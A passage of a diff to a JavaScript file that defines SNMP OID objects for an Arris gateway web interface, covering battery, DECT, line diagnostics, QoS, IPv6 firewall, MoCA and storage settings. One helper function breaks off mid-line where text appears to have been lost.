MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity; +var arrisMtaDevPwrSupplyTestedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity; +var upsBatteryStatus = upsBattery.upsBatteryStatus; +var arMtaDevBatteryOperState = MtaDevBatteryStatusTable.MtaDevBatteryOperState; +var arMtaDevBatteryOperSubState = MtaDevBatteryStatusTable.MtaDevBatteryOperSubState; +var arMtaDevBatteryOrderingCode = MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode; +var arMtaDevBatteryEprom = MtaDevBatteryStatusTable.MtaDevBatteryEprom; +var arMtaDevPwrSupplyBatRatedMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes; +var arMtaDevPwrSupplyBatAvailableMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes; +var arMtaDevEstimatedMinutesRemaining = MtaDevTrace.MtaDevEstimatedMinutesRemaining; +var arMtaDevEstimatedChargeRemaining = MtaDevTrace.MtaDevEstimatedChargeRemaining; + +var DectConfiguration = new Container("arrisDectConfiguration", "1.3.6.1.4.1.4115.1.3.13.1"); +DectConfiguration.DectBaseStatus = new Scalar("arrisDectBaseStatus","1.3.6.1.4.1.4115.1.3.13.1.1",4,1); +DectConfiguration.DectBaseDectModuleHwVersion = new Scalar("arrisDectBaseDectModuleHwVersion","1.3.6.1.4.1.4115.1.3.13.1.2",4); +DectConfiguration.DectCfgFwVersion = new Scalar("arrisDectCfgFwVersion","1.3.6.1.4.1.4115.1.3.13.1.7",4); + +DectConfiguration.DectBaseRFPI = new Scalar("arrisDectBaseRFPI","1.3.6.1.4.1.4115.1.3.13.1.3",4); +DectConfiguration.DectCfgRegistrationMode = new Scalar("arrisDectCfgRegistrationMode","1.3.6.1.4.1.4115.1.3.13.1.4",2); +DectConfiguration.DectCfgPortInterfaceIndex = new Scalar("arDectCfgPortInterfaceIndex","1.3.6.1.4.1.4115.1.3.13.1.11",2); +// scm add start x2 +DectConfiguration.DectCatiqOnOff = new Scalar("arDectCatiqOnOff","1.3.6.1.4.1.4115.1.3.13.1.10",2); +DectConfiguration.DectBasePin = new Scalar("arDectBasePin","1.3.6.1.4.1.4115.1.3.13.1.5",4); +var arDectCatiqOnOff=DectConfiguration.DectCatiqOnOff; +var arDectBasePin=DectConfiguration.DectBasePin; +// scm add end +var arDectBaseStatus=DectConfiguration.DectBaseStatus; +var arDectBaseDectModuleHwVersion=DectConfiguration.DectBaseDectModuleHwVersion; +var arDectCfgFwVersion=DectConfiguration.DectCfgFwVersion; +var arDectBaseRFPI=DectConfiguration.DectBaseRFPI; +var arDectCfgRegistrationMode=DectConfiguration.DectCfgRegistrationMode; +var arDectCfgPortInterfaceIndex=DectConfiguration.DectCfgPortInterfaceIndex; + +var pktcMdiMdiTable = new Table("pktcMdiMdiTable", "1.3.6.1.4.1.4491.2.2.8.6.1.1"); +pktcMdiMdiTable.MdiMdiName = new Column("pktcMdiMdiName","1.3.6.1.4.1.4491.2.2.8.6.1.1.1.2",4); +var pktcMdiMdiName = pktcMdiMdiTable.MdiMdiName; + +// scm table +var pktcMdiNslPortListTable = new Table("pktcMdiNslPortListTable", "1.3.6.1.4.1.4491.2.2.8.6.1.2"); +pktcMdiNslPortListTable.pktcMdiNslPortListIn = new Column("pktcMdiNslPortListIn", "1.3.6.1.4.1.4491.2.2.8.6.1.2.1.3", 4); +var arpktcMdiNslPortListIn = pktcMdiNslPortListTable.pktcMdiNslPortListIn; +// scm container +var DectCfgPinBase = new Container("DectCfgPinBase", "1.3.6.1.4.1.4115.1.3.13.1"); +DectCfgPinBase.DectCfgPinCode = new Scalar("DectCfgPinCode","1.3.6.1.4.1.4115.1.3.13.1.5",4,1); +var arDectCfgPinCode = DectCfgPinBase.DectCfgPinCode; + +var DectCfgHsTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.2"); +DectCfgHsTable.CfgHsRegisteredTn = new Column("arrisDectCfgHsRegisteredTn","1.3.6.1.4.1.4115.1.3.13.2.1.1",2); +DectCfgHsTable.CfgHsLastActivity = new Column("arrisDectCfgHsLastActivity","1.3.6.1.4.1.4115.1.3.13.2.1.2",2); +DectCfgHsTable.CfgHsDeregister = new Column("arrisDectCfgHsDeregister","1.3.6.1.4.1.4115.1.3.13.2.1.3",2); +DectCfgHsTable.CfgHsStatus = new Column("arrisDectCfgHsStatus","1.3.6.1.4.1.4115.1.3.13.2.1.4",2); +DectCfgHsTable.CfgHsName = new Column("arrisDectCfgHsName","1.3.6.1.4.1.4115.1.3.13.2.1.5",4); +var arDectCfgHsRegisteredTn = DectCfgHsTable.CfgHsRegisteredTn; +var arDectCfgHsLastActivity = DectCfgHsTable.CfgHsLastActivity; +var arDectCfgHsDeregister = DectCfgHsTable.CfgHsDeregister; +var arDectCfgHsStatus = DectCfgHsTable.CfgHsStatus; +var arDectCfgHsName = DectCfgHsTable.CfgHsName; + +var DectCfgMdiTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.3"); +DectCfgMdiTable.DectCfgMdiToNsl = new Column("arrisDectCfgMdiToNsl","1.3.6.1.4.1.4115.1.3.13.3.1.1",66); +var arDectCfgMdiToNsl = DectCfgMdiTable.DectCfgMdiToNsl; + +var pktcDectPPTable = new Table("pktcDectPPTable", "1.3.6.1.4.1.4491.2.2.8.4.1.8"); +pktcDectPPTable.PPStatus = new Column("pktcDectPPStatus","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.4",2); +pktcDectPPTable.PPRegCtrl = new Column("pktcDectPPRegCtrl","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.5",2); +var pktcDectPPStatus = pktcDectPPTable.PPStatus; +var pktcDectPPRegCtrl = pktcDectPPTable.PPRegCtrl; + +// +// MTA > Line Diagnostics +// +var MtaDevDiagLoopTable = new Table("MtaDevDiagLoopTable", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1"); +MtaDevDiagLoopTable.MtaDevDiagLoopRequest = new Column("MtaDevDiagLoopRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.3", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopLastResult = new Column("MtaDevDiagLoopLastResult", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.4", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest = new Column("MtaDevDiagLoopHazardousPotentialTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.5", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest = new Column("MtaDevDiagLoopForeignEmfTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.6", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest = new Column("MtaDevDiagLoopResistiveFaultsTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.7", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest = new Column("MtaDevDiagLoopReceiverOffHookTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.8", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest = new Column("MtaDevDiagLoopRingerTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.9", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest = new Column("MtaDevDiagLoopForceRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.10", 2); +var arMtaDevDiagLoopRequest = MtaDevDiagLoopTable.MtaDevDiagLoopRequest; +var arMtaDevDiagLoopLastResult = MtaDevDiagLoopTable.MtaDevDiagLoopLastResult; +var arMtaDevDiagLoopHazardousPotentialTest = MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest; +var arMtaDevDiagLoopForeignEmfTest = MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest; +var arMtaDevDiagLoopResistiveFaultsTest = MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest; +var arMtaDevDiagLoopReceiverOffHookTest = MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest; +var arMtaDevDiagLoopRingerTest = MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest; +var arMtaDevDiagLoopForceRequest = MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest; + + +// +// MTA > Service Flow +// +var docsQosServiceFlowTable = new Table("docsQosServiceFlowTable", "1.3.6.1.4.1.4491.2.1.21.1.3"); +//docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.2.1.10.127.7.1.3.1.6", 66); +//docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.2.1.10.127.7.1.3.1.7", 2); +docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.4.1.4491.2.1.21.1.3.1.6", 66); +docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.4.1.4491.2.1.21.1.3.1.7", 2); +var docsQosServiceFlowSID = docsQosServiceFlowTable.SID; +var docsQosServiceFlowDirection = docsQosServiceFlowTable.Direction; + +var docsQosParamSetTable = new Table("docsQosParamSetTable", "1.3.6.1.4.1.4491.2.1.21.1.2"); +//docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.2.1.10.127.7.1.2.1.13", 2); +//docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.2.1.10.127.7.1.2.1.18", 66); +//docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.2.1.10.127.7.1.2.1.17", 2); +//docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.2.1.10.127.7.1.2.1.19", 66); +//docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.2.1.10.127.7.1.2.1.15", 66); +//docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.2.1.10.127.7.1.2.1.9", 2); +//docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.2.1.10.127.7.1.2.1.6", 66); +//docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.2.1.10.127.7.1.2.1.8", 66); +//docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.2.1.10.127.7.1.2.1.7", 66); +docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.4.1.4491.2.1.21.1.2.1.13", 2); +docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.17", 66); +docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.4.1.4491.2.1.21.1.2.1.16", 2); +docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.4.1.4491.2.1.21.1.2.1.18", 66); +docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.14", 66); +docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.4.1.4491.2.1.21.1.2.1.9", 2); +docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.6", 66); +docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.8", 66); +docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.4.1.4491.2.1.21.1.2.1.7", 66); +var docsQosParamSetSchedulingType = docsQosParamSetTable.SchedulingType; +var docsQosParamSetNomGrantInterval = docsQosParamSetTable.NomGrantInterval; +var docsQosParamSetUnsolicitGrantSize = docsQosParamSetTable.UnsolicitGrantSize; +var docsQosParamSetTolGrantJitter = docsQosParamSetTable.TolGrantJitter; +var docsQosParamSetNomPollInterval = docsQosParamSetTable.NomPollInterval; +var docsQosParamSetMinReservedPkt = docsQosParamSetTable.MinReservedPkt; +var docsQosParamSetMaxTrafficRate = docsQosParamSetTable.MaxTrafficRate; +var docsQosParamSetMinReservedRate = docsQosParamSetTable.MinReservedRate; +var docsQosParamSetMaxTrafficBurst = docsQosParamSetTable.MaxTrafficBurst; + + +// +// CallP / QoS +// +var MtaDevLineCardTable = new Table("MtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +MtaDevLineCardTable.State = new Column("MtaDevLineCardState", "1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2", 2); +var arMtaDevLineCardState = MtaDevLineCardTable.State; + +var ppCfgPortTable = new Table("ppCfgPortTable", "1.3.6.1.4.1.4115.10.1.1"); +ppCfgPortTable.LoopCurrent = new Column("ppCfgPortLoopCurrent", "1.3.6.1.4.1.4115.10.1.1.1.6", 2); +var ppCfgPortLoopCurrent = ppCfgPortTable.LoopCurrent; + +var MtaDevOperationalSetup = new Container("MtaDevOperationalSetup", "1.3.6.1.4.1.4115.1.3.3.1.2.3"); +MtaDevOperationalSetup.EnableMGCPLog = new Scalar("MtaDevOperationalSetupEnableMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.34", 2); +MtaDevOperationalSetup.ClearMGCPLog = new Scalar("MtaDevOperationalSetupClearMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.36", 2); +var arMtaDevOperationalSetupEnableMGCPLog = MtaDevOperationalSetup.EnableMGCPLog; +var arMtaDevOperationalSetupClearMGCPLog = MtaDevOperationalSetup.ClearMGCPLog; + +var MtaDevEndPnt = new Table("MtaDevEndPnt", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3"); +MtaDevEndPnt.CallPState = new Column("MtaDevEndPntCallPState", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3.1.37", 2); +var arMtaDevEndPntCallPState = MtaDevEndPnt.CallPState; + +var MtaDispSignal = new Table("MtaDispSignal", "1.3.6.1.4.1.4115.1.3.3.1.5.1"); +MtaDispSignal.Log = new Column("MtaDispSignalLog", "1.3.6.1.4.1.4115.1.3.3.1.5.1.1.2", 4); +var arMtaDispSignalLog = MtaDispSignal.Log; + +var MtadocsQosService = new Table("MtadocsQosService", "1.3.6.1.4.1.4115.1.3.3.1.6.1"); +MtadocsQosService.FlowID = new Column("MtadocsQosServiceFlowID", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.2", 2); +MtadocsQosService.ClassName = new Column("MtadocsQosServiceClassName", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.3", 4); +MtadocsQosService.FlowDirection = new Column("MtadocsQosServiceFlowDirection", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.4", 4); +MtadocsQosService.PrimaryFlow = new Column("MtadocsQosServicePrimaryFlow", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.5", 4); +MtadocsQosService.TrafficType = new Column("MtadocsQosServiceTrafficType", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.6", 4); +MtadocsQosService.ServicePackets = new Column("MtadocsQosServiceServicePackets", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.7", 2); +var arMtadocsQosServiceFlowID = MtadocsQosService.FlowID; +var arMtadocsQosServiceClassName = MtadocsQosService.ClassName; +var arMtadocsQosServiceFlowDirection = MtadocsQosService.FlowDirection; +var arMtadocsQosServicePrimaryFlow = MtadocsQosService.PrimaryFlow; +var arMtadocsQosServiceTrafficType = MtadocsQosService.TrafficType; +var arMtadocsQosServiceServicePackets = MtadocsQosService.ServicePackets; + +var MtadocsQosShowDsxLog = new Table("MtadocsQosShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4"); +MtadocsQosShowDsxLog.ShowDsxLog = new Column("MtadocsQosShowDsxLogShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4.1.2", 4); +var arMtadocsQosShowDsxLogShowDsxLog = MtadocsQosShowDsxLog.ShowDsxLog; + +var MtadocsQosServiceContainer = new Container("MtadocsQosServiceContainer", "1.3.6.1.4.1.4115.1.3.3.1.6"); +MtadocsQosServiceContainer.DisableLoggin = new Scalar("MtadocsQosServiceContainerDisableLoggin", "1.3.6.1.4.1.4115.1.3.3.1.6.2", 2); +MtadocsQosServiceContainer.LogClear = new Scalar("MtadocsQosServiceContainerLogClear", "1.3.6.1.4.1.4115.1.3.3.1.6.3", 2); +var arMtadocsQosServiceContainerDisableLoggin = MtadocsQosServiceContainer.DisableLoggin; +var arMtadocsQosServiceContainerLogClear = MtadocsQosServiceContainer.LogClear; + + +// +// VQM +// +var MtaDevVqm = new Container("MtaDevVqm", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4"); +MtaDevVqm.Line = new Scalar("MtaDevVqmLine", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.1", 2); +MtaDevVqm.Clear = new Scalar("MtaDevVqmClear", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.2", 2); +MtaDevVqm.CallNumberIdentifier = new Scalar("MtaDevVqmCallNumberIdentifier", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.5", 2); +var arMtaDevVqmLine = MtaDevVqm.Line; +var arMtaDevVqmClear = MtaDevVqm.Clear; +var arMtaDevVqmCallNumberIdentifier = MtaDevVqm.CallNumberIdentifier; + +var MtaDevVqmCallNumberTable = new Table("MtaDevVqmCallNumberTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4"); +MtaDevVqmCallNumberTable.CallNumberIds = new Column("MtaDevVqmCallNumberIds", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4.1.2", 4); +var arMtaDevVqmCallNumberIds = MtaDevVqmCallNumberTable.CallNumberIds; + +var MtaDevVqmMetricTable = new Table("MtaDevVqmMetricTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6"); +MtaDevVqmMetricTable.MtaDevVqmMetricValues = new Column("MtaDevVqmMetricValues", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6.1.2", 4); +var arMtaDevVqmMetricValues = MtaDevVqmMetricTable.MtaDevVqmMetricValues; + +//software.php +var CmDoc30EsaftFWTable = new Table("CmDoc30EsaftFWTable", "1.3.6.1.4.1.4115.1.3.4.1.6.1.1"); +CmDoc30EsaftFWTable.FwCurrentFileName = new Column("FwCurrentFileName","1.3.6.1.4.1.4115.1.3.4.1.6.1.1.1.8",4); +var arFwCurrentFileName=CmDoc30EsaftFWTable.FwCurrentFileName; + + +if (window["preWalk"]) { + var foo = []; + _.each(container, function(v) { + foo.push(window[v.name]); + }); + _.each(table, function(v) { + foo.push(window[v.name]); + }); + load.apply(this, foo); +} + + +function dumpInC() { + function dumpOneInC(o) { + $.log("\"" + o.oid + ".\",\"" + o.name + "\","); + } + + _.each(container, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + _.each(table, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + +} + +var rowStatusCols = [ + arWanStaticDNSRowStatus, + arLanDNSRowStatus, + arLanClientRowStatus, + arDeviceUpDownStatus, + arLanCustomRowStatus, + arWEP64BitKeyStatus, + arWEP128BitKeyStatus, + arMACAccessStatus, + arWDSBridgeStatus, + arFWVirtSrvRowStatus, + arFWIPFilterRowStatus, + arFWMACFilterRowStatus, + arFWPortTrigRowStatus, + arKeywordBlkStatus, + arBlackListStatus, + arWhiteListStatus, + arTrustedDeviceStatus, + arSNTPServerStatus, + arLanStaticClientRowStatus + //, arWebAccessRowStatus not needed since we don't create and I have seen some problems + // arWebAccessRowStatus +]; + +function oidIsRowStatus(oid) { + for (var i=0; i IPv6 ChengDa Lee + + + + + + +var FWCfgv6 = new Container("FWCfgv6", "1.3.6.1.4.1.4115.1.20.1.1.4.40"); +/*FWCfgv6.FWv6Enabled= new Scalar("FWv6Enabled","1.3.6.1.4.1.4115.1.20.1.1.459.1",2); +FWCfgv6.FWv6SecurityLevel= new Scalar("FWv6SecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.459.9",2); +FWCfgv6.FWv6ResetDefaults= new Scalar("FWv6ResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.459.22",2); +FWCfgv6.FWv6BlockHTTP= new Scalar("FWv6BlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.459.23",2); +FWCfgv6.FWv6BlockP2P= new Scalar("FWv6BlockP2P","1.3.6.1.4.1.4115.1.20.1.1.459.24",2); +FWCfgv6.FWv6BlockIdent= new Scalar("FWv6BlockIdent","1.3.6.1.4.1.4115.1.20.1.1.459.25",2); +FWCfgv6.FWv6BlockICMP= new Scalar("FWv6BlockICMP","1.3.6.1.4.1.4115.1.20.1.1.459.26",2); +FWCfgv6.FWv6BlockMulticast= new Scalar("FWv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.459.27",2); +*/ +/*var arFWv6Enabled=FWCfgv6.FWv6Enabled; +var arFWv6SecurityLevel=FWCfgv6.FWv6SecurityLevel; +var arFWv6ResetDefaults=FWCfgv6.FWv6ResetDefaults; +var arFWv6BlockHTTP=FWCfgv6.FWv6BlockHTTP; +var arFWv6BlockP2P=FWCfgv6.FWv6BlockP2P; +var arFWv6BlockIdent=FWCfgv6.FWv6BlockIdent; +var arFWv6BlockICMP=FWCfgv6.FWv6BlockICMP; +var arrisRouterFWIPv6Enable=FWCfgv6.FWv6BlockMulticast; +*/ +FWCfgv6.FWIPv6SecurityLevel = new Scalar("FWIPv6SecurityLevel", "1.3.6.1.4.1.4115.1.20.1.1.4.40.1", 2); +FWCfgv6.FWIPv6BlockHTTP = new Scalar("FWIPv6BlockHTTP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.2", 2); +FWCfgv6.FWIPv6BlockICMP = new Scalar("FWIPv6BlockICMP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.3", 2); +FWCfgv6.FWIPv6BlockMulticast = new Scalar("FWIPv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.40.4", 2); +FWCfgv6.FWIPv6BlockP2P = new Scalar("FWIPv6BlockP2P", "1.3.6.1.4.1.4115.1.20.1.1.4.40.5", 2); +FWCfgv6.FWIPv6BlockIDENT = new Scalar("FWIPv6BlockIDENT", "1.3.6.1.4.1.4115.1.20.1.1.4.40.6", 2); +FWCfgv6.FWIPv6Enable = new Scalar("FWIPv6Enable", "1.3.6.1.4.1.4115.1.20.1.1.4.40.7", 2); +FWCfgv6.FWIPv6ResetDefaults = new Scalar("FWIPv6ResetDefaults", "1.3.6.1.4.1.4115.1.20.1.1.4.40.8", 2); + +var arrisRouterFWIPv6SecurityLevel =FWCfgv6.FWIPv6SecurityLevel; +var arrisRouterFWIPv6BlockHTTP =FWCfgv6.FWIPv6BlockHTTP ; +var arrisRouterFWIPv6BlockICMP =FWCfgv6.FWIPv6BlockICMP ; +var arrisRouterFWIPv6BlockMulticast =FWCfgv6.FWIPv6BlockMulticast ; +var arrisRouterFWIPv6BlockP2P =FWCfgv6.FWIPv6BlockP2P ; +var arrisRouterFWIPv6BlockIDENT =FWCfgv6.FWIPv6BlockIDENT ; +var arrisRouterFWIPv6Enable =FWCfgv6.FWIPv6Enable ; +var arrisRouterFWIPv6ResetDefaults =FWCfgv6.FWIPv6ResetDefaults ; + +//Software +var mib2system2 = new Container("mib2system2", "1.3.6.1.4.1.4115.1.3.4.1.460"); +mib2system2.SoftwareImageName = new Scalar("SoftwareImageName","1.3.6.1.4.1.4115.1.3.4.1.460.1",2); +mib2system2.AdvancedServices = new Scalar("AdvancedServices","1.3.6.1.4.1.4115.1.3.4.1.460.2",2); +var mib2system2SoftwareImageName = mib2system2.SoftwareImageName; +var mib2system2AdvancedServices = mib2system2.AdvancedServices; + +//battery +var MtaDevBatteryStatusTable2 = new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); +MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +MtaDevBatteryStatusTable2.MtaDevNumberofCycles = new Column("MtaDevNumberofCycles", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.5", 2); +var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; +var arMtaDevNumberofCycles = MtaDevBatteryStatusTable2.MtaDevNumberofCycles; + +var MtaDevBatteryStatus = new Container("MtaDevBatteryStatus", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevBatteryStatus.MtaDevTotalCapacity = new Scalar("MtaDevTotalCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.5",2); +MtaDevBatteryStatus.MtaDevActualCapacity = new Scalar("MtaDevActualCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.6",2); +var mib2MtaDevTotalCapacity = MtaDevBatteryStatus.MtaDevTotalCapacity; +var mib2MtaDevActualCapacity = MtaDevBatteryStatus.MtaDevActualCapacity; + +//remote management +var cmDocExtendCmParamterTable = new Table("cmDocExtendCmParamterTable", "1.3.6.1.4.1.4115.1.3.4.1.8.7"); +cmDocExtendCmParamterTable.CmParamterType = new Column("CmParamterType","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.2",2); +cmDocExtendCmParamterTable.CmParamterIpAddress = new Column("CmParamterIpAddress","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.3",4); +var arCmParamterType=cmDocExtendCmParamterTable.CmParamterType; +var arCmParamterIpAddress=cmDocExtendCmParamterTable.CmParamterIpAddress; + +//moca +var ArrisMoCAMib = new Container("ArrisMoCAMib", "1.3.6.1.4.1.4115.1.21"); +ArrisMoCAMib.MoCAApplySettings= new Scalar("MoCAApplySettings","1.3.6.1.4.1.4115.1.21.2",2); +var arMoCAApplySettings=ArrisMoCAMib.MoCAApplySettings; + +var mocaConfigation = new Container("mocaConfigation", "1.3.6.1.4.1.4115.1.21.1"); +mocaConfigation.ChanncelSetMethod = new Scalar("ChanncelSetMethod","1.3.6.1.4.1.4115.1.21.1.1",2); +mocaConfigation.TabooChanncel = new Scalar("TabooChanncel","1.3.6.1.4.1.4115.1.21.1.4",66); +mocaConfigation.mocaChanncelMark = new Scalar("mocaChanncelMark","1.3.6.1.4.1.4115.1.21.1.2",66); +mocaConfigation.mocaLOF = new Scalar("mocaLOF","1.3.6.1.4.1.4115.1.21.1.5",2); +mocaConfigation.mocaPrimchnoff = new Scalar("mocaPrimchnoff","1.3.6.1.4.1.4115.1.21.1.6",2); + +var arChanncelSetMethod = mocaConfigation.ChanncelSetMethod; +var arTabooChanncel = mocaConfigation.TabooChanncel; +var armocaChanncelMark = mocaConfigation.mocaChanncelMark; +var armocaLOF = mocaConfigation.mocaLOF; +var armocaPrimchnoff = mocaConfigation.mocaPrimchnoff; + + +//Gateway > Hardware > LAN Ethernet +//var mib2interface2 = new Container("mib2interface2", "1.3.6.1.2.1.2.2.1.5.4.462"); +//mib2interface2.ifPort4Enable = new Scalar("ifPort4Enable","1.3.6.1.2.1.2.2.1.5.4.462.1",2); +//var arifPort4Enable = mib2interface2.ifPort4Enable; + +//Gateway > Hardware > USB : port 1/port 2 +var mib2interfaceUSB = new Container("mib2interfaceUSB", "1.3.6.1.4.1.4.2.1.5.4.463"); +mib2interfaceUSB.USB1status= new Scalar("USB1status","1.3.6.1.4.1.4.2.1.5.4.463.1"); +mib2interfaceUSB.USB1Desc= new Scalar("USB1Desc", "1.3.6.1.4.1.4.2.1.5.4.463.2"); +mib2interfaceUSB.USB1SN= new Scalar("USB1SN", "1.3.6.1.4.1.4.2.1.5.4.463.3"); +mib2interfaceUSB.USB1Speed= new Scalar("USB1Speed","1.3.6.1.4.1.4.2.1.5.4.463.4"); +mib2interfaceUSB.USB1Manufacturer= new Scalar("USB1Manufacturer","1.3.6.1.4.1.4.2.1.5.4.463.5"); +var arUSB1status=mib2interfaceUSB.USB1status; +var arUSB1Desc=mib2interfaceUSB.USB1Desc; +var arUSB1SN=mib2interfaceUSB.USB1SN; +var arUSB1Speed=mib2interfaceUSB.USB1Speed; +var arUSB1Manufacturer=mib2interfaceUSB.USB1Manufacturer; + +//Connected Devices > Network Storage, NetworkStorage +var MtaDevBatteryStatusTable2 = new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); + MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +//var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; + +var mib2interfaceNetworkStorageTable= new Table("mib2interfaceNetworkStorageTable", "1.3.6.1.4.1.4.2.1.5.4.464"); +mib2interfaceNetworkStorageTable.NSName= new Column("NSName", "1.3.6.1.4.1.4.2.1.5.4.464.1.1"); +mib2interfaceNetworkStorageTable.NSFileSystem = new Column("NSFileSystem", "1.3.6.1.4.1.4.2.1.5.4.464.1.2"); +mib2interfaceNetworkStorageTable.NSSpaceAvailable = new Column("NSSpaceAvailable", "1.3.6.1.4.1.4.2.1.5.4.464.1.3"); +mib2interfaceNetworkStorageTable.NSTotalSpace= new Column("NSTotalSpace","1.3.6.1.4.1.4.2.1.5.4.464.1.4"); +mib2interfaceNetworkStorageTable.NSLocation= new Column("NSLocation","1.3.6.1.4.1.4.2.1.5.4.464.1.5"); +var arNSName= 